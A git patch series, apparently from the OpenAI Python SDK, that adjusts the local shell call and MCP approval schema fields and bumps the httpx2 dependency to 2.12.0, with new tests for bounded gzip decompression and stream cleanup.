@@ -44672,7 +44672,7 @@ components:
id:
type: string
description: |
- The unique ID of the local shell tool call output.
+ The unique ID of the local shell tool call generated by the model.
output:
type: string
description: |
@@ -44687,10 +44687,6 @@ components:
description: |
The status of the item. One of `in_progress`, `completed`, or `incomplete`.
- type: 'null'
- call_id:
- type: string
- description: |
- The unique ID of the local shell tool call generated by the model.
required:
- id
- type
@@ -44789,6 +44785,7 @@ components:
- type: 'null'
required:
- type
+ - request_id
- approve
- approval_request_id
MCPApprovalResponseResource:
@@ -44825,6 +44822,7 @@ components:
required:
- type
- id
+ - request_id
- approve
- approval_request_id
MCPListTools:
@@ -86332,6 +86330,7 @@ components:
- type: 'null'
required:
- type
+ - request_id
- approve
- approval_request_id
BetaMCPApprovalRequest:
@@ -86843,7 +86842,7 @@ components:
id:
type: string
description: |
- The unique ID of the local shell tool call output.
+ The unique ID of the local shell tool call generated by the model.
output:
type: string
description: |
@@ -86858,10 +86857,6 @@ components:
description: |
The status of the item. One of `in_progress`, `completed`, or `incomplete`.
- type: 'null'
- call_id:
- type: string
- description: |
- The unique ID of the local shell tool call generated by the model.
required:
- id
- type
@@ -89381,6 +89376,7 @@ components:
required:
- type
- id
+ - request_id
- approve
- approval_request_id
BetaApplyPatchToolCallOutput:
diff --git a/src/openai/types/beta/beta_response_input_item.py b/src/openai/types/beta/beta_response_input_item.py
index 1b4cc3bdc6..51d12ff5ec 100644
--- a/src/openai/types/beta/beta_response_input_item.py
+++ b/src/openai/types/beta/beta_response_input_item.py
@@ -599,9 +599,6 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
- """The unique ID of the local shell tool call output."""
-
- call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/beta/beta_response_input_item_param.py b/src/openai/types/beta/beta_response_input_item_param.py
index 2b850e4447..f72706323d 100644
--- a/src/openai/types/beta/beta_response_input_item_param.py
+++ b/src/openai/types/beta/beta_response_input_item_param.py
@@ -598,9 +598,6 @@ class LocalShellCallOutput(TypedDict, total=False):
"""The output of a local shell tool call."""
id: Required[str]
- """The unique ID of the local shell tool call output."""
-
- call_id: Required[str]
"""The unique ID of the local shell tool call generated by the model."""
output: Required[str]
diff --git a/src/openai/types/beta/beta_response_input_param.py b/src/openai/types/beta/beta_response_input_param.py
index 99ee2e60ad..2f640b77aa 100644
--- a/src/openai/types/beta/beta_response_input_param.py
+++ b/src/openai/types/beta/beta_response_input_param.py
@@ -599,9 +599,6 @@ class LocalShellCallOutput(TypedDict, total=False):
"""The output of a local shell tool call."""
id: Required[str]
- """The unique ID of the local shell tool call output."""
-
- call_id: Required[str]
"""The unique ID of the local shell tool call generated by the model."""
output: Required[str]
diff --git a/src/openai/types/beta/beta_response_item.py b/src/openai/types/beta/beta_response_item.py
index 1c5fd88528..875a51ea31 100644
--- a/src/openai/types/beta/beta_response_item.py
+++ b/src/openai/types/beta/beta_response_item.py
@@ -438,9 +438,6 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
- """The unique ID of the local shell tool call output."""
-
- call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/beta/beta_response_output_item.py b/src/openai/types/beta/beta_response_output_item.py
index 8d9a2830ce..7c2a74ca39 100644
--- a/src/openai/types/beta/beta_response_output_item.py
+++ b/src/openai/types/beta/beta_response_output_item.py
@@ -436,9 +436,6 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
- """The unique ID of the local shell tool call output."""
-
- call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/conversations/conversation_item.py b/src/openai/types/conversations/conversation_item.py
index 9b3742a997..bb10ae15f8 100644
--- a/src/openai/types/conversations/conversation_item.py
+++ b/src/openai/types/conversations/conversation_item.py
@@ -174,9 +174,6 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
- """The unique ID of the local shell tool call output."""
-
- call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/responses/response_input_item.py b/src/openai/types/responses/response_input_item.py
index 09e6cf1687..e34682291d 100644
--- a/src/openai/types/responses/response_input_item.py
+++ b/src/openai/types/responses/response_input_item.py
@@ -314,9 +314,6 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
- """The unique ID of the local shell tool call output."""
-
- call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/responses/response_input_item_param.py b/src/openai/types/responses/response_input_item_param.py
index 8180eb6511..f490ad3700 100644
--- a/src/openai/types/responses/response_input_item_param.py
+++ b/src/openai/types/responses/response_input_item_param.py
@@ -313,9 +313,6 @@ class LocalShellCallOutput(TypedDict, total=False):
"""The output of a local shell tool call."""
id: Required[str]
- """The unique ID of the local shell tool call output."""
-
- call_id: Required[str]
"""The unique ID of the local shell tool call generated by the model."""
output: Required[str]
diff --git a/src/openai/types/responses/response_input_param.py b/src/openai/types/responses/response_input_param.py
index 7b21a6d9ed..776f1dfafd 100644
--- a/src/openai/types/responses/response_input_param.py
+++ b/src/openai/types/responses/response_input_param.py
@@ -314,9 +314,6 @@ class LocalShellCallOutput(TypedDict, total=False):
"""The output of a local shell tool call."""
id: Required[str]
- """The unique ID of the local shell tool call output."""
-
- call_id: Required[str]
"""The unique ID of the local shell tool call generated by the model."""
output: Required[str]
diff --git a/src/openai/types/responses/response_item.py b/src/openai/types/responses/response_item.py
index f79822e9dc..4b14d4dbf0 100644
--- a/src/openai/types/responses/response_item.py
+++ b/src/openai/types/responses/response_item.py
@@ -175,9 +175,6 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
- """The unique ID of the local shell tool call output."""
-
- call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/responses/response_output_item.py b/src/openai/types/responses/response_output_item.py
index 5942af5906..9492c2aa42 100644
--- a/src/openai/types/responses/response_output_item.py
+++ b/src/openai/types/responses/response_output_item.py
@@ -173,9 +173,6 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
- """The unique ID of the local shell tool call output."""
-
- call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
From 9b8e3998d99aedb446626906096ee3181a6cf62f Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 21 Sep 2026 20:33:10 +0000
Subject: [PATCH 184/341] chore(deps): bump httpx2 from 2.7.0 to 2.12.0 in the
python-security group across 1 directory (#3823)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Raise the published HTTPX2 minimum to 2.12.0 so SDK installations
receive incremental response decompression and stream cleanup on
decoding errors. Keep the matching HTTPcore2 constraint and update both
the project and runnable realtime-example locks.
Keep focused synchronous and asynchronous regressions for bounded,
lossless decoding of a large gzip response and immediate stream closure
on malformed gzip/deflate data. Existing large JSON/SSE parser coverage
remains intact, with all large cases in one collected test to keep xdist
execution sequential. Preserve the release-please lock marker and align
policy, wheel-metadata validation, and retry-header assertions with the
new dependency.
Validation: five focused tests, Ruff, Pyright, and mypy passed locally
after trimming redundant parser and dependency-floor tests. Earlier
regression reversal confirmed the bounded-decoding and stream-cleanup
probes fail against HTTPX2 2.10.0. Changed dependency artifact URLs and
hashes were verified against PyPI, and build metadata was reviewed.
Hosted CI validates the final head, including the Python 3.10/3.14 and
HTTPX2 test jobs, wheel installation, lint, and custom-code budgets.
---
Bumps the python-security group with 1 update in the / directory:
[httpx2](https://github.com/pydantic/httpx2).
Updates `httpx2` from 2.7.0 to 2.12.0
Release notes
Sourced from httpx2's
releases.
v2.12.0
Highlights
🛡️ Bounded response decompression
httpx2 now decodes gzip,
deflate, Brotli, and Zstandard responses incrementally.
Each decode step emits at most 1 MiB, so streaming a highly compressed
response no longer requires materializing an entire inflated network
chunk in memory (pydantic/httpx2#1126).
📦 Shared Zstandard API
Python 3.13 and earlier now use backports.zstd, which
provides the same bounded incremental decompression API as
compression.zstd on Python 3.14 and later (pydantic/httpx2#1146).
httpx2
Changed
Fixed
httpcore2
No changes since 2.11.0. Version bumped to stay in
lockstep with httpx2.
Full Changelog: https://github.com/pydantic/httpx2/compare/v2.11.0...v2.12.0
v2.11.0
Highlights
🌐 Public origin API
httpx2 now includes an immutable and hashable
Origin value object, available through
URL.origin. It provides normalized scheme, host, and
effective port comparisons without including URL paths, queries,
fragments, or credentials (pydantic/httpx2#1134).
🛠️ Request compatibility and validation
httpx2
Added
Changed
... (truncated)
Changelog
Sourced from httpx2's
changelog.
2.12.0 (August 18th, 2026)
Changed
- Use
backports.zstd for Zstandard decoding on Python
3.13 and earlier.
(#1146)
Fixed
- Bound peak memory while streaming compressed responses and close
response streams when decoding fails.
(#1126)
2.11.0 (August 18th, 2026)
Added
- Add the public
Origin value object and
URL.origin property for normalized,
hashable origin comparisons. (#1134)
Changed
- Require Brotli 1.2.0 or later for the
brotli extra. (#1141)
Fixed
- Restore deprecated status code aliases. (#1135)
- Extract HTTP/2 release notes from changelog headings correctly. (#1136)
- Respect explicit
Transfer-Encoding headers and expose
buffered request body lengths to WSGI applications.
(#1137)
- Validate multipart part header names and values before
serialization.
(#1142)
2.10.0 (August 9th, 2026)
Added
- Add support for running on WebAssembly / Emscripten via Pyodide,
using a JavaScript
fetch-based transport defined in
httpx2-jsfetch.
(#1119)
- Add
max_event_size to cap SSE event buffering. (#1071)
- Add RFC 9110 status code constants. (#1069)
- Add support for Python 3.15. (#1090)
Changed
- Improve SSE chunk buffering performance. (#1117)
- Skip cookie extraction for responses without
Set-Cookie
headers. (#1107)
- Return
str | None instead of Any from
Headers.get. (#1121)
Fixed
... (truncated)
Commits
---------
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Marcus Wood
---
examples/realtime/push_to_talk_app.py.lock | 29 ++++----
pyproject.toml | 6 +-
scripts/check-python-version-policy.py | 2 +-
scripts/utils/validate-httpx2-wheel.py | 2 +-
tests/test_client.py | 8 +--
tests/test_httpx2_decompression.py | 40 +++++++++++
tests/test_large_payload_contract.py | 79 ++++++++++++++++++++++
uv.lock | 51 ++++++++------
8 files changed, 174 insertions(+), 43 deletions(-)
create mode 100644 tests/test_httpx2_decompression.py
diff --git a/examples/realtime/push_to_talk_app.py.lock b/examples/realtime/push_to_talk_app.py.lock
index b4e5403afb..30c345313e 100644
--- a/examples/realtime/push_to_talk_app.py.lock
+++ b/examples/realtime/push_to_talk_app.py.lock
@@ -177,20 +177,20 @@ wheels = [
[[package]]
name = "httpcore2"
-version = "2.10.0"
+version = "2.12.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "h11" },
{ name = "truststore" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/a9/83/a896fc59940fc5a6e2aff3a4be1d92fa890112936803b331cae75a993c34/httpcore2-2.10.0.tar.gz", hash = "sha256:13c0cc3d1919d4f28457f60cd2c2abe04113a8af184ccf1142811beba936f9dc", size = 67427, upload-time = "2026-08-09T09:11:32.123Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/be/ad/f4f0e57345f1870f3e8cb624e058d7eca6e5a27d33bcc3311d9b618734cd/httpcore2-2.12.0.tar.gz", hash = "sha256:9293522bba0aa7c4c8e9e3f040c16575bd8868e155a77fa30c7a9085a5eae648", size = 67548, upload-time = "2026-08-18T13:22:08.211Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/e5/4f/d149104195a35e2853a2fc203a8e3477747e58c80e17dda686dace174383/httpcore2-2.10.0-py3-none-any.whl", hash = "sha256:7df06cfb34070cae4f7c89be69dc1095eca138e9704ceffb98d25c1912ab6f01", size = 83000, upload-time = "2026-08-09T09:11:29.555Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/74/d370e55600d9bcfa0d9794b0166126d49291a3d2b20c268fc98c453a4948/httpcore2-2.12.0-py3-none-any.whl", hash = "sha256:7e04258ce01013d7d615e5b910a3b27fac937d7a95038227e79652b4ba3b4ceb", size = 83074, upload-time = "2026-08-18T13:22:05.854Z" },
]
[[package]]
name = "httpx2"
-version = "2.10.0"
+version = "2.12.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "anyio", marker = "sys_platform != 'emscripten'" },
@@ -200,9 +200,9 @@ dependencies = [
{ name = "truststore", marker = "sys_platform != 'emscripten'" },
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/bd/3d/f9a8c07a3884f3e5b26205e8436a18b3af61c5d53192c3bea235574dbbec/httpx2-2.10.0.tar.gz", hash = "sha256:8741d7329fe2c7885fc9ceb61c8217acfb87a85f75723714b89ebf7ad7196338", size = 98749, upload-time = "2026-08-09T09:11:33.24Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/7f/f8/579a8b51e42e38ee32647df9f08aa25643ae788e275cc625b199829c4671/httpx2-2.12.0.tar.gz", hash = "sha256:7631fe9887a8a2275f4a2540e053aa670fcc50742864a9ae7c66e609fdcf12cf", size = 100040, upload-time = "2026-08-18T13:22:09.086Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/b9/6d/a637d52449d98a6892d9a4dc0262587afdb6a66f201871842dce5a97b1c1/httpx2-2.10.0-py3-none-any.whl", hash = "sha256:5e3194a432701e1cc6f69a8b1b2fa199ef907013fede8d9a09a2c5b7b8141a18", size = 94355, upload-time = "2026-08-09T09:11:30.882Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/95/411ba65569158e862368917aaf56597f3e5fa3b91b0502919638465a08f3/httpx2-2.12.0-py3-none-any.whl", hash = "sha256:cc8b6eecb8661c146b8f89a60e97456ee086e91a784ed31ac450c3a9e613dd36", size = 95427, upload-time = "2026-08-18T13:22:06.834Z" },
]
[[package]]
@@ -597,7 +597,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.3.0"
+version = "3.16.2"
source = { editable = "../../" }
dependencies = [
{ name = "anyio" },
@@ -618,12 +618,12 @@ requires-dist = [
{ name = "aiohttp", marker = "extra == 'aiohttp'", specifier = ">=3.14.3" },
{ name = "anyio", specifier = ">=4.10.0,<5" },
{ name = "botocore", marker = "extra == 'bedrock'", specifier = ">=1.40.0,<2" },
- { name = "httpx2", specifier = ">=2.7.0,<3" },
- { name = "jiter", specifier = ">=0.10.0,<1" },
+ { name = "httpx2", specifier = ">=2.12.0,<3" },
+ { name = "jiter", specifier = ">=0.16.0,<1" },
{ name = "numpy", marker = "extra == 'datalib'", specifier = ">=1" },
{ name = "numpy", marker = "extra == 'voice-helpers'", specifier = ">=2.0.2" },
{ name = "pandas", marker = "extra == 'datalib'", specifier = ">=1.2.3" },
- { name = "pydantic", specifier = ">=1.9.0,<3" },
+ { name = "pydantic", specifier = ">=1.10.13,!=2.0.*,!=2.1.*,!=2.2.*,!=2.3.*,<3" },
{ name = "sniffio" },
{ name = "sounddevice", marker = "extra == 'voice-helpers'", specifier = ">=0.5.1" },
{ name = "typing-extensions", specifier = ">=4.14,<5" },
@@ -634,7 +634,7 @@ provides-extras = ["aiohttp", "realtime", "datalib", "voice-helpers", "bedrock"]
[package.metadata.requires-dev]
build = [
- { name = "hatchling", specifier = "==1.26.3" },
+ { name = "hatchling", specifier = "==1.27.0" },
{ name = "packaging", specifier = "==26.3" },
{ name = "pathspec", specifier = "==1.1.1" },
{ name = "pluggy", specifier = "==1.6.0" },
@@ -646,11 +646,10 @@ dev = [
{ name = "botocore", specifier = "==1.42.97" },
{ name = "griffe", specifier = ">=1" },
{ name = "inline-snapshot", specifier = ">=0.28.0" },
- { name = "mypy", specifier = "==1.17" },
+ { name = "mypy", specifier = "==2.3.1" },
{ name = "pandas-stubs", specifier = ">=1.1.0.11" },
- { name = "pyright", specifier = "==1.1.399" },
- { name = "pytest" },
- { name = "pytest-asyncio" },
+ { name = "pytest", specifier = ">=9.0.3" },
+ { name = "pytest-asyncio", specifier = ">=1.4.0" },
{ name = "pytest-xdist", specifier = ">=3.6.1" },
{ name = "rich", specifier = ">=13.7.1" },
{ name = "ruff" },
diff --git a/pyproject.toml b/pyproject.toml
index 231a977e3a..2104968afa 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -9,7 +9,7 @@ authors = [
]
dependencies = [
- "httpx2>=2.7.0, <3",
+ "httpx2>=2.12.0, <3",
"pydantic>=1.10.13, <3, !=2.0.*, !=2.1.*, !=2.2.*, !=2.3.*",
"typing-extensions>=4.14, <5",
"anyio>=4.10.0, <5",
@@ -84,9 +84,11 @@ required-version = ">=0.12.1"
exclude-newer = "8 days"
default-groups = ["dev", "pydantic-v2"]
conflicts = [[{ group = "pydantic-v1" }, { group = "pydantic-v2" }]]
-# Security floors for transitive development dependencies. Constraints do not
+# Security floors for transitive dependencies. Constraints do not
# install these packages into the SDK's runtime environment.
constraint-dependencies = [
+ # HTTPX2 also publishes an exact pin to its matching httpcore2 release.
+ "httpcore2>=2.12.0",
"azure-core>=1.38.0",
"cryptography>=50.0.0",
"msal>=1.37.0",
diff --git a/scripts/check-python-version-policy.py b/scripts/check-python-version-policy.py
index 9571360ceb..ae57734836 100644
--- a/scripts/check-python-version-policy.py
+++ b/scripts/check-python-version-policy.py
@@ -10,7 +10,7 @@
PRERELEASE = "3.15"
UNMARKED_DEPENDENCIES = (
"aiohttp>=3.14.3",
- "httpx2>=2.7.0, <3",
+ "httpx2>=2.12.0, <3",
"anyio>=4.10.0, <5",
"botocore>=1.40.0,<2",
)
diff --git a/scripts/utils/validate-httpx2-wheel.py b/scripts/utils/validate-httpx2-wheel.py
index 2d3e0bba5d..e1ea16140b 100644
--- a/scripts/utils/validate-httpx2-wheel.py
+++ b/scripts/utils/validate-httpx2-wheel.py
@@ -45,7 +45,7 @@ def validate_metadata(wheel: Path) -> None:
if metadata["Requires-Python"] != ">=3.10":
raise RuntimeError(f"Expected Python >=3.10, found: {metadata['Requires-Python']}")
- for expected in ("httpx2<3,>=2.7.0", "anyio<5,>=4.10.0"):
+ for expected in ("httpx2<3,>=2.12.0", "anyio<5,>=4.10.0"):
if not any(value.startswith(expected) for value in base):
raise RuntimeError(f"Expected the base wheel to require {expected}: {base}")
if any(requirement_name(value) == "httpx" for value in requirements):
diff --git a/tests/test_client.py b/tests/test_client.py
index b77b78cb9d..3fd6b8fa41 100644
--- a/tests/test_client.py
+++ b/tests/test_client.py
@@ -1279,7 +1279,7 @@ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
)
assert response.retries_taken == failures_before_success
- assert int(response.http_request.headers.get("x-stainless-retry-count")) == failures_before_success
+ assert int(response.http_request.headers["x-stainless-retry-count"]) == failures_before_success
@pytest.mark.parametrize("failures_before_success", [0, 2, 4])
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
@@ -1374,7 +1374,7 @@ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
model="gpt-5.4",
) as response:
assert response.retries_taken == failures_before_success
- assert int(response.http_request.headers.get("x-stainless-retry-count")) == failures_before_success
+ assert int(response.http_request.headers["x-stainless-retry-count"]) == failures_before_success
def test_proxy_environment_variables(self, monkeypatch: pytest.MonkeyPatch) -> None:
# Test that the proxy environment variables are set correctly
@@ -2629,7 +2629,7 @@ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
)
assert response.retries_taken == failures_before_success
- assert int(response.http_request.headers.get("x-stainless-retry-count")) == failures_before_success
+ assert int(response.http_request.headers["x-stainless-retry-count"]) == failures_before_success
@pytest.mark.parametrize("failures_before_success", [0, 2, 4])
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
@@ -2724,7 +2724,7 @@ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
model="gpt-5.4",
) as response:
assert response.retries_taken == failures_before_success
- assert int(response.http_request.headers.get("x-stainless-retry-count")) == failures_before_success
+ assert int(response.http_request.headers["x-stainless-retry-count"]) == failures_before_success
async def test_get_platform(self) -> None:
platform = await asyncify(get_platform)()
diff --git a/tests/test_httpx2_decompression.py b/tests/test_httpx2_decompression.py
new file mode 100644
index 0000000000..e2348d637d
--- /dev/null
+++ b/tests/test_httpx2_decompression.py
@@ -0,0 +1,40 @@
+from __future__ import annotations
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+
+from .test_large_payload_contract import CompressedStream, AsyncCompressedStream, compressed_response
+
+
+@pytest.mark.parametrize("encoding", ["gzip", "deflate"])
+async def test_decoding_failure_closes_response_stream(encoding: str) -> None:
+ stream = CompressedStream(b"not a compressed stream")
+ with OpenAI(
+ api_key="test-key",
+ max_retries=0,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(lambda _: compressed_response(stream, encoding))),
+ ) as client:
+ with client.responses.with_streaming_response.create(model="gpt-4o-mini", input="Hello") as response:
+ with pytest.raises(httpx2.DecodingError):
+ list(response.iter_bytes())
+ # Check before context-manager cleanup can hide an upstream leak.
+ assert stream.closed
+ assert response.http_response.is_closed
+
+ async_stream = AsyncCompressedStream(b"not a compressed stream")
+ async with AsyncOpenAI(
+ api_key="test-key",
+ max_retries=0,
+ http_client=httpx2.AsyncClient(
+ transport=httpx2.MockTransport(lambda _: compressed_response(async_stream, encoding))
+ ),
+ ) as async_client:
+ async with async_client.responses.with_streaming_response.create(
+ model="gpt-4o-mini", input="Hello"
+ ) as async_response:
+ with pytest.raises(httpx2.DecodingError):
+ _ = [chunk async for chunk in async_response.iter_bytes()]
+ assert async_stream.closed
+ assert async_response.http_response.is_closed
diff --git a/tests/test_large_payload_contract.py b/tests/test_large_payload_contract.py
index 4e45cd75ce..00b85a8e96 100644
--- a/tests/test_large_payload_contract.py
+++ b/tests/test_large_payload_contract.py
@@ -1,5 +1,6 @@
from __future__ import annotations
+import gzip
import json
from typing import Any, Callable, Iterator, AsyncIterator
from typing_extensions import override
@@ -224,9 +225,87 @@ def events() -> Iterator[dict[str, Any]]:
assert_intact(message.parsed.value, value)
+class CompressedStream(httpx2.SyncByteStream):
+ def __init__(self, data: bytes) -> None:
+ self.data = data
+ self.closed = False
+
+ @override
+ def __iter__(self) -> Iterator[bytes]:
+ # One small network chunk must not inflate into one enormous chunk.
+ yield self.data
+
+ @override
+ def close(self) -> None:
+ self.closed = True
+
+
+class AsyncCompressedStream(httpx2.AsyncByteStream):
+ def __init__(self, data: bytes) -> None:
+ self.data = data
+ self.closed = False
+
+ @override
+ async def __aiter__(self) -> AsyncIterator[bytes]:
+ yield self.data
+
+ @override
+ async def aclose(self) -> None:
+ self.closed = True
+
+
+def compressed_response(stream: CompressedStream | AsyncCompressedStream, encoding: str) -> httpx2.Response:
+ # Passing a stream avoids eager decoding in Response's constructor.
+ return httpx2.Response(
+ 200, headers={"content-encoding": encoding, "content-type": "application/json"}, stream=stream
+ )
+
+
+async def check_large_compressed_responses() -> None:
+ text = "x" * PAYLOAD_SIZE
+ body = json.dumps(response_body(text)).encode()
+ data = gzip.compress(body)
+ stream = CompressedStream(data)
+ with OpenAI(
+ api_key="test-key",
+ max_retries=0,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(lambda _: compressed_response(stream, "gzip"))),
+ ) as client:
+ with client.responses.with_streaming_response.create(model="gpt-4o-mini", input="Hello") as response:
+ size = 0
+ for chunk in response.iter_bytes():
+ # The upstream decoder's chunk bound is not a response-size cap.
+ assert len(chunk) <= 1024 * 1024
+ assert chunk == body[size : size + len(chunk)]
+ size += len(chunk)
+ assert size == len(body)
+ assert stream.closed
+
+ async_stream = AsyncCompressedStream(data)
+ async with AsyncOpenAI(
+ api_key="test-key",
+ max_retries=0,
+ http_client=httpx2.AsyncClient(
+ transport=httpx2.MockTransport(lambda _: compressed_response(async_stream, "gzip"))
+ ),
+ ) as async_client:
+ async with async_client.responses.with_streaming_response.create(
+ model="gpt-4o-mini", input="Hello"
+ ) as async_response:
+ size = 0
+ async for chunk in async_response.iter_bytes():
+ assert len(chunk) <= 1024 * 1024
+ assert chunk == body[size : size + len(chunk)]
+ size += len(chunk)
+ assert size == len(body)
+ assert async_stream.closed
+
+
async def test_large_payload_contract() -> None:
# One test prevents pytest-xdist from running high-memory cases together.
check_blocking_json()
await check_structured_json()
await check_responses_stream()
check_chat_stream()
+
+ await check_large_compressed_responses()
diff --git a/uv.lock b/uv.lock
index 45a0a6f081..1325814bc6 100644
--- a/uv.lock
+++ b/uv.lock
@@ -3,10 +3,10 @@ revision = 3
requires-python = ">=3.10"
resolution-markers = [
"python_full_version >= '3.15' and sys_platform == 'win32'",
- "python_full_version == '3.14.*' and sys_platform == 'win32'",
"python_full_version >= '3.15' and sys_platform == 'emscripten'",
- "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
"python_full_version >= '3.15' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
"python_full_version == '3.14.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
@@ -29,6 +29,7 @@ exclude-newer-span = "P8D"
constraints = [
{ name = "azure-core", specifier = ">=1.38.0" },
{ name = "cryptography", specifier = ">=50.0.0" },
+ { name = "httpcore2", specifier = ">=2.12.0" },
{ name = "msal", specifier = ">=1.37.0" },
{ name = "pygments", specifier = ">=2.20.0" },
{ name = "pyjwt", specifier = ">=2.13.0" },
@@ -804,31 +805,41 @@ wheels = [
[[package]]
name = "httpcore2"
-version = "2.7.0"
+version = "2.12.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
- { name = "h11" },
- { name = "truststore" },
+ { name = "h11", marker = "python_full_version < '3.11' or sys_platform != 'emscripten' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "truststore", marker = "python_full_version < '3.11' or sys_platform != 'emscripten' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/d5/fe/6a3f9f1a8bb8733326140737446aaf72fddb8b54b8f202302f5c84960613/httpcore2-2.7.0.tar.gz", hash = "sha256:6dc0fedf329a52a990930a5579edfebaea81118ea700ea0dd7de2b5e5be49efc", size = 65593, upload-time = "2026-07-14T20:40:01.111Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/be/ad/f4f0e57345f1870f3e8cb624e058d7eca6e5a27d33bcc3311d9b618734cd/httpcore2-2.12.0.tar.gz", hash = "sha256:9293522bba0aa7c4c8e9e3f040c16575bd8868e155a77fa30c7a9085a5eae648", size = 67548, upload-time = "2026-08-18T13:22:08.211Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/6f/6c/62e2e279e63fc4f7a5ee841ef13175a8bbc613f258e9dcc186e9de803a42/httpcore2-2.7.0-py3-none-any.whl", hash = "sha256:1452f589fe23f55b44546cd884294c41a29330af902bc0b71a761fd52d18f92b", size = 81506, upload-time = "2026-07-14T20:39:58.053Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/74/d370e55600d9bcfa0d9794b0166126d49291a3d2b20c268fc98c453a4948/httpcore2-2.12.0-py3-none-any.whl", hash = "sha256:7e04258ce01013d7d615e5b910a3b27fac937d7a95038227e79652b4ba3b4ceb", size = 83074, upload-time = "2026-08-18T13:22:05.854Z" },
]
[[package]]
name = "httpx2"
-version = "2.7.0"
+version = "2.12.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
- { name = "anyio" },
- { name = "httpcore2" },
+ { name = "anyio", marker = "sys_platform != 'emscripten' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "httpcore2", marker = "sys_platform != 'emscripten' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "httpx2-jsfetch", marker = "(python_full_version >= '3.12' and sys_platform == 'emscripten') or (python_full_version < '3.12' and extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2') or (sys_platform != 'emscripten' and extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "idna" },
- { name = "truststore" },
+ { name = "truststore", marker = "sys_platform != 'emscripten' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "typing-extensions", marker = "python_full_version < '3.13' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/a3/4a/129b2e21b90ac2985d3928d96792bccc39bc6dfe796c5eee2d8ec06d4105/httpx2-2.7.0.tar.gz", hash = "sha256:8b30709aed5c8465b0dd3b95c09ce301c8f79e7e7a2d00ab0af551e0d0375b07", size = 94487, upload-time = "2026-07-14T20:40:02.318Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/7f/f8/579a8b51e42e38ee32647df9f08aa25643ae788e275cc625b199829c4671/httpx2-2.12.0.tar.gz", hash = "sha256:7631fe9887a8a2275f4a2540e053aa670fcc50742864a9ae7c66e609fdcf12cf", size = 100040, upload-time = "2026-08-18T13:22:09.086Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/c8/95/411ba65569158e862368917aaf56597f3e5fa3b91b0502919638465a08f3/httpx2-2.12.0-py3-none-any.whl", hash = "sha256:cc8b6eecb8661c146b8f89a60e97456ee086e91a784ed31ac450c3a9e613dd36", size = 95427, upload-time = "2026-08-18T13:22:06.834Z" },
+]
+
+[[package]]
